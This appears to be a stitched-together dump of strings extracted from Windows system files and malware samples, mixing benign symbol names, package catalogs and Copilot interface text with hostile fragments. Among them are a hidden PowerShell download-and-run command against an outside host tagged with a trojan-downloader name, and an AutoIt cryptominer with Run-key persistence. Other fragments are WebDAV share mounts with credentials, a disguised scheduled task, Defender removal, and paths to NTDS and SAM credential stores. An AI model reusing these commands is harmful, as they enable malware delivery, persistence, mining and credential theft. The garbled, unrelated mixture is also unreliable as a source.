]as-chair-excellancec:\windows\system32\[https://iiieyehealth.com/fonts/times/files/call-for-proposal-dgsp-col
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_31>@?BK@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_31>@?BK@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$implements_delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogOpenedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_29>@?BA@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_29>@?BA@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AV<lambda_30>@?BA@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogButtonClickEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_30>@?BA@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_28>@?BA@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogClosedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_28>@?BA@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogOpenedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_29>@?BA@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogClosedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_28>@?BA@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogButtonClickEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_27>@?P@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogOpenedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_26>@?P@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogButtonClickEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_27>@?P@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
=$randomfolderpath$run='hkcu:software\microsoft\windows\currentversion\run';cmd/cattrib+h$
%C:\WINDOWS\system32\svchost.exe -k NetworkService -p
??\c:\windows\system32\.exe
&Windows
Microsoft.Windows.Midi2.LoopbackMidiTransport
Microsoft.Windows.Icu.Debug
Microsoft.Windows.DiagTrack
Microsoft.Windows.DiagTrack.XML
Microsoft.Windows.TelemetryViewer
.?AU?$default_delete@VShareWindowCommandSourceProxyOwner@Bamo@ShareWindow@Shell@Internal@Windows@@@std@@
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
Windows.AI.Actions.ActionsContract
WINDOWS11
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
ComSpec=C:\WINDOWS\system32\cmd.ex2
ows\system32\rundll32
WindowsVersion
;charset=windows-1252"G
.vbs-outfilec:\windows\tasks\
.vbs;c:\windows\tasks\
Microsoft.Windows.Audio.Engine
GetWindowsAccountDomainSidG
struct winrt::Windows::Foundation::Collections::ValueSet __cdecl winrt::Windows::Foundation::IActivationFactory::ActivateInstance<struct winrt::Windows::Foundation::Collections::ValueSet>(void) const
struct winrt::Windows::ApplicationModel::AppService::AppServiceConnection __cdecl winrt::Windows::Foundation::IActivationFactory::ActivateInstance<struct winrt::Windows::ApplicationModel::AppService::AppServiceConnection>(void) const
D:\a\_work\1\i\Release\x64\SharedUtilities.Stub.BackgroundTasks\g\winrt\Windows.ApplicationModel.AppService.h
auto __cdecl winrt::impl::consume_SharedUtilities_Stub_BackgroundTasks_Utilities_ICdmConnection<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::ICdmConnection>::SendMessageAsync(const struct winrt::Windows::Foundation::Collections::ValueSet &,const struct winrt::param::hstring &) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet>,struct winrt::Windows::Foundation::Collections::ValueSet>::GetResults(void) const
auto __cdecl winrt::impl::await_adapter<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet> >::await_resume(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IMap<struct winrt::Windows::Foundation::Collections::IPropertySet,struct winrt::hstring,struct winrt::Windows::Foundation::IInspectable>::Lookup(const struct winrt::param::hstring &) const
struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet> &&__cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncOperation<bool>,struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection>::promise_type,struct winrt::Windows::Foundation::IAsyncOperation<bool>,void>::await_transform<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet>>(struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet> &&)
bool __cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncOperation<bool>,struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection>::promise_type,struct winrt::Windows::Foundation::IAsyncOperation<bool>,void>::GetResults(void)
auto __cdecl winrt::impl::consume_Windows_Foundation_IReference<struct winrt::Windows::Foundation::IReference<unsigned char>,unsigned char>::Value(void) const
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
WS\system32\kernelbase.dll[MofResourceName]
LOCALAPPDATA=C:\WINDOWS\system32\config
dc:\windows\system32\rundll32.exe
diskVolume3\Windows\System32\stdole2.tlb
diskVolume3\Windows\System32\stdole2.tlb
^powershell -WindowStyle hidden -executionpolicy bypass; Invoke-WebRequest -Uri ""https://afrikanist-work.co.za/DDD.exe"" -OutFile $TempFile; Start-Process $TempFile;Set HeckrynvsExec = Heckrynvs.Exec(Nhjis)TrojanDownloader:O97M/Powdow.SSA!MTB
WindowsCreateStringReference
GetWindowsDirectoryW
C:\WINDOWS\SYSTEM32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
|:\windows\
?:\windows\system32\
:\windows\avserve2.exe
 \system32\
software\microsoft\windows nt\currentversion\winlogonmb.asp?a=1&c=%s%s
_Winlogon
c:\windows\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
mpcmdrun.pdbmicrosoft.windows.defenderm
ndows\System32\wevtutil.exe
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
bqonecoreuap\windows\advcore\winrt\radialdevice\lib\radialdevice.cpp
onecoreuap\windows\advcore\winrt\radialdevice\lib\radialcontrollerindependentinput.cpp
onecoreuap\windows\advcore\winrt\radialdevice\lib\interactiveobjecthapticsimpl.cpp
onecoreuap\windows\advcore\winrt\inputdeliveryintercepter\kbddeliveryintercepter.cpp
onecoreuap\windows\advcore\winrt\simplehapticscontroller\inputhapticsmanager.cpp
Windows.Settings.Account
WindowsUpdateExperimentConfig
C:\Windows\System32\msiexec.exe
$de${8193a4e6-aea0-4343-858e-3aa3a3ca8f76}$$windows.data.curatedtilecollection.tilecollectioncontainer
m365.cosmic.compute.windows.node
C:\TEMP\History\History.IE5\wsnctfy.exesOftWarE\MIcrOsOft\WIndOwS\CurRenTVeRsiOn\RuN
get-windowsfeature
windows-defender-feature|remove-windowsfeature
C:\WINDOWS\SYSTEM32\e2v
/s C:\WINDOWS\SYSTEM32\e2v
C:\WINDOWS\SYSTEM32\e2v
Software\Microsoft\Windows\DED\Uninstall\abdominoscopy\Rastpladsen151S
Software\Microsoft\Windows\DED\Uninstall\Nonvolatileness\boldbanernesS
\windows\cuQ
NHOSTSVC.EXE:winlogon.exe:remotethread:allocvmremote:227328:1
)d.location.protocol=='https:')exit;ourdom='http:\microsoft\windows\system.exesoftware\microsoft\windows\scriptsys
Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/8.0; Touch; rv:11.0; IEMobile/11.0) like Gecko
Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0)
Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)
Mozilla/4.0 (compatible; MSIE 8.0; Windows Phone OS 7.5; Trident/4.0; IEMobile/8.0)
Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70
opt("trayiconhide",1)regwrite("hkey_local_machine\software\microsoft\windows\currentversion\run","internetexplorer","reg_sz",@programfilesdir&"\internetexplorer\iexpiore.exe")sleep(300000)run(@programfilesdir&"\internetexplorer\bin\iexplore.exe-aauto-q--real-quiet-ohttp://mining.eligius.st:80-u1jle6hka8qbd64g8zknbh6ht9orwq7dkb3-ppass","",@sw_hide)
C:\Users\Public\Documents\QeiySBcapV.datC:\Users\Public\Documents\WindowsData\kail.exeTrojan:Win64/Mikey.SXB!MTB
[c:\windows\system32\cmd.exe/kstartmsedgehttps://www.ups.com&curl-slo%temp%\bosfortuy.ms/
c:\windows\
."%temp%\winlogon.exe"-rcellar--yes-q--no-verbose--trust-model_
GetWindowsAccountDomainSid
\Windows\CurrentVersion\Explorer\Shell Folders
system32\drivers
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
EnumWindowsProc
           targetNamespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities/2"
           xmlns="http://schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities/2"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
  RS2 WINDOWS CAPABILITIES MANIFEST SCHEMA
  the Windows platform for RS2 release.
           targetNamespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10/windowscapabilities/3"
           xmlns="http://schemas.microsoft.com/appx/manifest/foundation/windows10/windowscapabilities/3"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
Windows.Data.BlueLightReduction.SettingsPerDevice
Windows.Data.BlueLightReduction.BlueLightReductionState
Windows.Client.WebExperience_cw5n1h2txyewy!G
Microsoft.WindowsC
'.WindowsAppRunH
Microsoft.Windows.Shell.BlueLightReduction
Windows.Shell.BlueLightReduction.pdb
D:\os\obj\amd64fre\onecoreuap\vcpkg\bond\objfre\amd64\vcpkg_installed\target-windows\include\boost/exception/detail/exception_ptr.hpp
Microsoft.Windows.Shell.PinManager
Microsoft.Windows.Shell.NotesManager
Microsoft.Windows.PlatformExtensions
#Zc:\windows\system32\cmd.exe/c"netuseq:https://webdav.4shared.comde}9tbdafk'y%uv/user:lasex69621@cohodl.com&
.P6A_NAEBV?$shared_ptr@VExtensionInfo@implementation@AppExtensions@ApplicationModel@WindowsUdk@winrt@@@std@@@Z
.?AV?$_Binder@U_Unforced@std@@P8UserActivityManager@implementation@UserActivities@ApplicationModel@WindowsUdk@winrt@@EAAX_KV?$basic_string@_WU?$char_traits@_W@s
&MicrosoftWindows.59336768.Speion_cw5n1h2txyewy!Global
3^MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!Global
C:\WINDOWS\xstopit
C:\Users\user\Desktop\WindowsApplication1\WindowsApplication1\obj\x86\Release\Windows Application.pdb\
\Windows\video
\system32\drivers\etc\h
global\sp_runnedaction=allow program="%windir%\system32\rundll32.exe"NETSH advfirewall FIREWALL add rule
Windows;Program*shell\open\Default=1
Eir%\system32\imageres.dll
c:\windows\system32
cZc:\windows\
oft\windows\>
d',$path);c:\windows\system32\rundll32.exe'
windows\system32
elsefilecopy(@tempdir&"\gcc\internetexplorer.lnk",@appdatadir&"\roaming\microsoft\windows\startmenu\programs\internetexplorer.lnk",2)endifendifendfuncfunchost()while1iffileexists($
spotlight|Windows 
_windowsAccountType
WinRegGetSZInt: A Windows registry operation failed: Failed to open key. key path: SOFTWARE\VMware, Inc.\NeedReboot, value name: Components
KF>c:\windows\system32\cmd.exe/ccopy\\episode-windsor-subdivision-delivery.trycloudflare.com@ssl\davwwwroot\
WindowsApplication1.Resources
\system32\tasks\.+\.(
Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! ProductId
Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! VersionNumber
Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|RegisteredOwner
Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|ProductId
WindowsDirectory
Win32API|System Information Functions|GetWindowsDirectory
Win32API|System Shutdown Functions|ExitWindowsEx|EWX_REBOOT
Win32API|System Shutdown Functions|ExitWindowsEx|EWX_SHUTDOWN
system32\rundll32.exesol3nia.dll,run
MQc:\windows\system32\cmd.exe/v:on/d/cmshta"javascript:
c:/windows/system32/dt
c:/windows/system32/dl
WindowsSandboxConfig!
%WINDIR%\system32\ws:
.?AU?$IVector@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Collections@Foundation@Windows@@
.?AU__I?$Vector@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@U?$equal_to@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@std@@PublicNonVirtuals@Collections@Platform@@
.?AV?$Vector@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@U?$equal_to@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@std@@@Collections@Platform@@
.?AU?$_Task_impl@PE$AAU?$IVectorView@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Collections@Foundation@Windows@@@details@Concurrency@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAU?$IVectorView@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@PE$AAU?$IVectorView@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AU?$_Task_impl@PE$AAUIStorageItem@Storage@Windows@@@details@Concurrency@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAUIStorageItem@Storage@Windows@@@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@PE$AAUIStorageItem@Storage@Windows@@@Foundation@Windows@@
.?AU__I?$WriteOnlyArray@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@$00PublicNonVirtuals@Platform@@
.?AV?$WriteOnlyArray@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@$00@Platform@@
.?AVBindableVectorChangedEventHandler@Interop@Xaml@UI@Windows@@
.?AU__abi_IDelegate@BindableVectorChangedEventHandler@Interop@Xaml@UI@Windows@@
.?AU?$__abi_FunctorCapture@V<lambda_82a7e644db562ca326c50c92dcb755ec>@@XPE$AAU?$IAsyncOperation@E@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AVAsyncActionCompletedHandler@Foundation@Windows@@
.?AU__abi_IDelegate@AsyncActionCompletedHandler@Foundation@Windows@@
.?AU?$__abi_FunctorCapture@V<lambda_f2fabf8666a1e4d30b686f97323667d5>@@XPE$AAUIAsyncAction@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AV?$AsyncOperationCompletedHandler@E@Foundation@Windows@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@E@Foundation@Windows@@
GetWindowsDirectoryW
WindowsCompareStringOrdinal
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
svr32 C:\WINDOWS\net
windows/ntds/ntds.ditw
windows/system32/config/samw
windows/system32/config/systemw
PBpe.OnSendSuccess=function(n,t,i){i===void 0&&(i=undefined);delete n.html;typeof _G!="undefined"&&_G.IG?Log2.LogEvent("ClientInst",JSON.stringify(n),"Feedback.Online",null,null,_G.IG,null,null):Log2.LogEvent("ClientInst",{error:"_G.IG was not available when submitting feedback online"},"Feedback.Error",null,null,null,null,null);typeof i!="undefined"&&i(t)},n.prototype.OnOnlineSendFailure=function(n,t,i){i===void 0&&(i=undefined);delete n.html;typeof _G!="undefined"&&_G.IG?Log2.LogEvent("ClientInst",JSON.stringify(n),"Feedback.Offline",null,null,_G.IG,null,null):Log2.LogEvent("ClientInst",{error:"_G.IG was not available when submitting feedback offline"},"Feedback.Error",null,null,null,null,null);typeof i!="undefined"&&i(t)},n}();_w.WindowsFeedbackProtocol=new n}(WindowsFeedback||(WindowsFeedback={})),function(n){var t;(function(n){"use strict";var t=function(){function n(n){this.base64ImageBlobs=this.GetImageBlobsAsBase64(n)}return n.prototype.Manipulate=function(n){if(n instanceof HTMLImageElement){var t=n;t.src&&this.base64ImageBlobs[t.src]&&(t.src=this.base64ImageBlobs[t.src])}},n.prototype.GetImageBlobsAsBase64=function(n){for(var u=n.querySelectorAll("img[src^='blob:']"),f={},t,i,e,o,r=0;r<u.length;r++)t=u[r],i=document.createElement("canvas"),i.width=t.width,i.height=t.height,e=i.getContext("2d"),e.drawImage(t,0,0),o=i.toDataURL(),f[t.src]=o;return f},n}();n.InlineImagesManipulator=t})(t=n.Search||(n.Search={}))}(Microsoft||(Microsoft={})),function(n){var t;(function(n){"use strict";var t=function(){function n(n){this.DocumentFragment=document.createDocumentFragment();this.DocumentFragment.appendChild(n.cloneNode(!0))}return n.prototype.ManipulateElementsBySelector=function(n,t){var u,i,e,f,r,o;if(t)for(u=this.DocumentFragment.querySelectorAll(n),i=0,e=u.length;i<e;i++)for(f=u[i],r=0;r<t.length;r++)o=t[r],typeof f!="undefined"&&o.Manipulate(f)},n.prototype.DeleteElementsBySelector=function(n){for(var t;t=this.DocumentFragment.querySelector(n);)t&&t.parentNode.removeChild(t)},n.prototype.SerializeToHtml=function(n){n===void 0&&(n=null);var i=this.DocumentFragment.firstChild,r=this.FixTextareaScreenshot(i),t=r.outerHTML;return typeof n=="function"&&(t=n(this.DocumentFragment,t)),t},n.prototype.ApplyStyle=function(n,t,i){for(var u,f=this.DocumentFragment.querySelectorAll(n),r=0,e=f.length;r<e;r++)u=f[r],u instanceof HTMLElement&&(u.style[t]=i)},n.prototype.FixTextareaScreenshot=function(n){var t=n.querySelectorAll("textarea"),i;if(!t||t.length==0)return n;for(i=0;i<t.length;i++){var r=t[i],u=r.value,f=r.innerText;u!==f&&(r.innerText=u)}return n},n}();n.DOMCopyManipulator=t})(t=n.Search||(n.Search={}))}(Microsoft||(Microsoft={})),function(n){"use strict";var t=function(){function n(n,t){this.fileName=n;this.contentType=t}return n}();n.FeedbackFile=t}(Feedback||(Feedback={})),function(n){"use strict";var t=function(){function t(){var n=_w.feedback;this.timeout=n&&n.config&&n.config.getFilesTimeout;this.recreateFilePromisesMap()}return t.isImage=function(n){return n==="image/png"||n==="image/jpeg"},t.prototype.getFiles=function(n,t,i){var s=[],e=this.filePromises,h=!!_w.Promise,o=0,u,f,r,c;for(u in e)if(e.hasOwnProperty(u)&&(n||!t(u)))for(f=e[u],r=0;r<f.length;r++)c=h?this.waitForFile(f[r],this.timeout).then(function(n){if(n&&n.base64Content&&n.contentType&&n.fileName)if(n.base64Content.length===0)i("Did not populate base64Content before submitting for "+n.fileName);else return n;else o++;return null},function(){return null}):f[r],s.push(c);return h?new _w.Promise(function(n){_w.Promise.all(s).then(function(t){o>0&&i(o+" feedback files not returned in time for feedback submit.");n(t.filter(function(n){return!!n}))},function(){})}):{then:function(n){n&&n([])}}},t.prototype.collect=function(n){var t,i;this.recreateFilePromisesMap();this.filesRequested=!0;try{t=_w.SearchAppWrapper&&SearchAppWrapper.CortanaApp;t&&t.getFeedbackFilesAsync?(i=this,t.getFeedbackFilesAsync().then(function(t){if(t)for(var r=0;r<t.length;r++)i.collectFile(t[r],n);i.fileDescriptorsReceived=!0},function(t){n("GetFeedbackFiles","FeedbackFileFetchAllErrh
\Windows
windows\.
windowsapihookdll32.dll
windowsapihookdll64.dll
/c schtasks /create /tn "Microsoft\Windows\Windows Setting Factory\Microsoft Recovery\Common System File\Defender Setting Library" /f /tr "C:\
system32
5a:applicationicon="#"windowstate="minimize"showintaskbar="no"sysmenu
\Windows\OneSettings
*.|%ProgramData%\Microsoft\Windows Defender\Scans\msmpengcp.exe
System32\svch
"HKLM\SOFTWARE\Policies\Microsoft\Windows
           targetNamespace="http://schemas.microsoft.com/appx/manifest/preview/windows10/msixappcompatsupport/2"
           xmlns="http://schemas.microsoft.com/appx/manifest/preview/windows10/msixappcompatsupport/2"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
              "cnaba5e861-ac2a-4523-b3c1.seer-awindowsquicklookto_p7t0z30wh4868",
              "58737pinoytouchtech.lbctracktraceforwindows10_48pewjj49jwrp",
              "34814deploywindows.info.frontend_acgfarb67q67j",
              "48918blakepell.localgroupmanagerforwindows_adc7erb7w0kew",
              "synapseitsllc.speedcheckmanagerforwindowsble_96zaswm19qk0a",
              "2420shazapp.autoclickerforwindows_1c69h7y6sr26m",
              "44931windowsportableapps.zzzunicodecharsgenerator_k0xmdz6ehx2z0",
              "44931windowsportab
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
